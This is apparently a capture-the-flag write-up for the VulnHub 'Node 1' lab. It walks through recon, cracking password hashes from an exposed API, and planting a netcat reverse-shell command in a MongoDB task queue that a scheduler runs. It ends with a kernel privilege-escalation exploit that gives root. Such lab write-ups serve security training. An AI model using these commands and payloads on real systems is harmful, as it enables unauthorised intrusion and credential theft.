Details
This machine is https://www.vulnhub.com/entry/node-1,252/
Recon Phase
Firstly I had to find the machine
root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.0012s latency).
MAC Address: 0A:00:27:00:00:19 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00043s latency).
MAC Address: 08:00:27:CC:0F:B1 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
ost is up (0.0022s latency).
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.86 seconds
From there I carried out a service discovery
root@kali:~# nmap -sV 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up (0.0019s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open http Node.js Express framework
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.62 seconds
The Web App
I first went to the web app on http://192.168.56.101:3000
There was a login form
I then checked the source and found some interesting parts
I went through each of the files starting with http://192.168.56.101:3000/assets/js/app/app.js
var controllers = angular.module('controllers', []);
var app = angular.module('myplace', [ 'ngRoute', 'controllers' ]);
app.config(function ($routeProvider, $locationProvider) {
$routeProvider.
when('/', {
templateUrl: '/partials/home.html',
controller: 'HomeCtrl'
}).
when('/profiles/:username', {
templateUrl: '/partials/profile.html',
controller: 'ProfileCtrl'
}).
when('/login', {
templateUrl: '/partials/login.html',
controller: 'LoginCtrl'
}).
when('/admin', {
templateUrl: '/partials/admin.html',
controller: 'AdminCtrl'
}).
otherwise({
redirectTo: '/'
});
$locationProvider.html5Mode(true);
});
From this I had some endpoints, so I went to look at the admin one located at http://192.168.56.101:3000/partials/admin.html
The button was linked to a function called "backup()" which wasn't defined in this context, so was of no use to me yet, so back to the source code at http://192.168.56.101:3000/assets/js/app/controllers/home.js
var controllers = angular.module('controllers');
controllers.controller('HomeCtrl', function ($scope, $http) {
$http.get('/api/users/latest').then(function (res) {
$scope.users = res.data;
});
});
This revealed the api, but I still wanted to inspect more source, next up was http://192.168.56.101:3000/assets/js/app/controllers/login.js
var controllers = angular.module('controllers');
controllers.controller('LoginCtrl', function ($scope, $http, $location) {
$scope.authenticate = function () {
$scope.hasError = false;
$http.post('/api/session/authenticate', {
username: $scope.username,
password: $scope.password
}).then(function (res) {
if (res.data.success) {
$location.path('/admin');
}
else {
$scope.hasError = true;
$scope.alertMessage = 'Incorrect credentials were specified';
}
}, function (resp) {
$scope.hasError = true;
$scope.alertMessage = 'An unexpected error occurred';
});
};
});
From this I could tell scope could contain some useful information, so I went to http://192.168.56.101:3000/api/users/ to see what it did
There were some creds, but none were admins, so I tried http://192.168.56.101:3000/api/users
This time I was in luck
[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
I put these into a file called hash.txt to crack
myP14ceAdm1nAcc0uNT:dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
tom:f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
mark:de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
rastating:5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0
And set john on them
root@kali:~# john hash.txt --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
snowflake (mark)
spongebob (tom)
manchester (myP14ceAdm1nAcc0uNT)
I aborted it there as I got the admin accounts creds
Using the creds of myP14ceAdm1nAcc0uNT:manchester to login
This time clicking backup offered me to download a file
Looking at it, it was a load of base64, so I decoded it
root@kali:~# cat myplace.backup | base64 -d > backupdecoded
And inspected the result
root@kali:~# file backupdecoded
backupdecoded: Zip archive data, at least v1.0 to extract
It is a zip folder, so I tried to unzip it
root@kali:~# unzip backupdecoded
Archive: backupdecoded
creating: var/www/myplace/
[backupdecoded] var/www/myplace/package-lock.json password:
It is passworded so I used frackzip on it
root@kali:~# fcrackzip backupdecoded -D -p /usr/share/wordlists/rockyou.txt
possible pw found: magicword ()
With a possible password found I tried it again
root@kali:~# unzip backupdecoded
Archive: backupdecoded
[backupdecoded] var/www/myplace/package-lock.json password:
Using "magicword"
inflating: var/www/myplace/package-lock.json
creating: var/www/myplace/node_modules/
creating: var/www/myplace/node_modules/serve-static/
inflating: var/www/myplace/node_modules/serve-static/README.md
inflating: var/www/myplace/node_modules/serve-static/index.js
inflating: var/www/myplace/node_modules/serve-static/LICENSE
inflating: var/www/myplace/node_modules/serve-static/HISTORY.md
inflating: var/www/myplace/node_modules/serve-static/package.json
[SNIP]
I could now look at the files
root@kali:~# cd var/www/myplace/
root@kali:~# ls -la
drwxr-xr-x 4 root root 4096 Oct 7 22:10 .
drwxr-xr-x 3 root root 4096 Oct 6 01:33 ..
-rw-rw-r-- 1 root root 3861 Sep 2 2017 app.html
-rw-rw-r-- 1 root root 8058 Sep 3 2017 app.js
drwxr-xr-x 69 root root 4096 Sep 2 2017 node_modules
-rw-rw-r-- 1 root root 283 Sep 2 2017 package.json
-rw-r--r-- 1 root root 21264 Sep 2 2017 package-lock.json
drwxrwxr-x 6 root root 4096 Sep 2 2017 static
I inspected the app looking for config files
root@kali:~/var/www/myplace# cat app.js
[SNIP]
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
[SNIP]
This gave me a mongo db login for mark of
mark:5AYRft73VtFpc84k
So I tried it on ssh
root@kali:~# ssh mark@192.168.56.4
mark@node:~$
Flag Hunt
First I wanted to find the user flag
mark@node:~$ ls -la
drwxr-xr-x 3 root root 4096 Sep 3 2017 .
drwxr-xr-x 5 root root 4096 Aug 31 2017 ..
-rw-r--r-- 1 root root 220 Aug 31 2017 .bash_logout
-rw-r--r-- 1 root root 3771 Aug 31 2017 .bashrc
drwx------ 2 root root 4096 Aug 31 2017 .cache
-rw-r----- 1 root root 0 Sep 3 2017 .dbshell
-rwxr-xr-x 1 root root 0 Sep 3 2017 .mongorc.js
-rw-r--r-- 1 root root 655 Aug 31 2017 .profile
It wasn't in mark's home so it was time to look around. I started by checking the kernel
mark@node:~$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
This version seemed vulnerable to CVE-2017-16995, but I still needed the user flag first (It would have felt wrong to use root to get the user one!) So in my hunt for the flag I checked out the user list
mark@node:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
tom:x:1000:1000:tom,,,:/home/tom:/bin/bash
mongodb:x:111:65534::/home/mongodb:/bin/false
mark:x:1001:1001:Mark,,,:/home/mark:/bin/bash
There was another user called tom, so I checked there
mark@node:~$ cd /home/tom
mark@node:/home/tom$ ls -la
drwxr-xr-x 6 root root 4096 Sep 3 2017 .
drwxr-xr-x 5 root root 4096 Aug 31 2017 ..
-rw-r--r-- 1 root root 220 Aug 29 2017 .bash_logout
-rw-r--r-- 1 root root 3771 Aug 29 2017 .bashrc
drwx------ 2 root root 4096 Aug 29 2017 .cache
drwxr-xr-x 3 root root 4096 Aug 30 2017 .config
-rw-r----- 1 root root 0 Sep 3 2017 .dbshell
-rwxr-xr-x 1 root root 0 Aug 30 2017 .mongorc.js
drwxrwxr-x 2 root root 4096 Aug 29 2017 .nano
drwxr-xr-x 5 root root 4096 Aug 31 2017 .npm
-rw-r--r-- 1 root root 655 Aug 29 2017 .profile
-rw-r----- 1 root tom 33 Sep 3 2017 user.txt
I found the flag, but I couldn't read it yet. I needed to become tom, so I began to look for ways to do it, eventually coming onto
mark@node:/home/tom$ ps -aux | grep tom
tom 1170 0.0 6.2 1021676 47636 ? Ssl 21:52 0:02 /usr/bin/node /var/www/myplace/app.js
tom 1176 0.0 5.5 1008560 42208 ? Ssl 21:52 0:02 /usr/bin/node /var/scheduler/app.js
mark 1611 0.0 0.1 14228 892 pts/0 S+ 23:46 0:00 grep --color=auto tom
There was a second node app in /var/scheduler/, so I went to take a look
mark@node:/home/tom$ cd /var/scheduler/
mark@node:/var/scheduler$ ls -la
drwxr-xr-x 3 root root 4096 Sep 3 2017 .
drwxr-xr-x 15 root root 4096 Sep 3 2017 ..
-rw-rw-r-- 1 root root 910 Sep 3 2017 app.js
drwxr-xr-x 19 root root 4096 Sep 3 2017 node_modules
-rw-rw-r-- 1 root root 176 Sep 3 2017 package.json
-rw-r--r-- 1 root root 4709 Sep 3 2017 package-lock.json
Then at the code
mark@node:/var/scheduler$ cat app.js
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});
So it connects to the mongo db and pulls commands from the collection called "tasks" which it then runs, I had creds for mongo, so I could add my own commands into the collection. So I opened a listener to receive a shell
root@kali:~# nc -nlvp 4444
Then connected to mongo
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
>
And inserted my reverse shell command
> db.tasks.insert({"cmd":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.3 4444 >/tmp/f"})
WriteResult({ "nInserted" : 1 })
I then waited for a minute or so
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.4] 58260
/bin/sh: 0: can't access tty; job control turned off
$
A new shell connected back, which should hopefully be running as tom
$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1002(admin)
With confirmation I was tom, I used the python trick
$ python -c "import pty;pty.spawn('/bin/bash')"
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
tom@node:/$
And then grabbed the flag
tom@node:/$ cd /home/tom
tom@node:~$ cat user.txt
e1156acc3574e04b06908ecf76be91b1
Root Time
Now all I needed to do was escalate to root, having identified a priv esc route earlier this wasn't very difficult. First on my local machine I downloaded the exploit code
root@kali:~# wget https://www.exploit-db.com/download/44298.c
--2018-10-08 20:47:49-- https://www.exploit-db.com/download/44298.c
Resolving www.exploit-db.com (www.exploit-db.com)... 62.252.172.241
Connecting to www.exploit-db.com (www.exploit-db.com)|62.252.172.241|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6021 (5.9K) [application/txt]
Saving to: ‘44298.c’
44298.c 100%[=====================================================================================>] 5.88K --.-KB/s in 0s
2018-10-08 20:47:50 (85.4 MB/s) - ‘44298.c’ saved [6021/6021]
Then transferred it to the target, on the target I used the mark account as it had a full shell
root@kali:~# nc -nvlp 2222 < 44298.c
mark@node:~$ cd /tmp
mark@node:/tmp$ nc 192.168.56.3 2222 > exploit.c
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.4] 59946
I checked the code made it accross, then compiled it
mark@node:/tmp$ ls -la
drwxrwxrwt 8 root root 4096 Oct 8 20:49 .
drwxr-xr-x 25 root root 4096 Sep 2 2017 ..
-rw-rw-r-- 1 mark mark 6021 Oct 8 20:49 exploit.c
[SNIP]
mark@node:/tmp$ gcc exploit.c -o exploit
Finally I ran it
mark@node:/tmp$ ./exploit
task_struct = ffff880025001980
uidptr = ffff88002529c544
spawning root shell
root@node:/tmp#
With a root shell popped I only needed the flag to be done
root@node:/tmp# cd /root
root@node:/root# ls -la
drwx------ 4 root root 4096 Sep 3 2017 .
drwxr-xr-x 25 root root 4096 Sep 2 2017 ..
-rw------- 1 root root 1 Aug 6 23:03 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Sep 3 2017 .cache
drwxr-xr-x 2 root root 4096 Sep 3 2017 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r----- 1 root root 33 Sep 3 2017 root.txt
root@node:/root# cat root.txt
1722e99ca5f353b362556a62bd5e6be0
And with that the machine was done, now i think there is another way to get root on this one, so at somepoint I'll come back and hunt it down!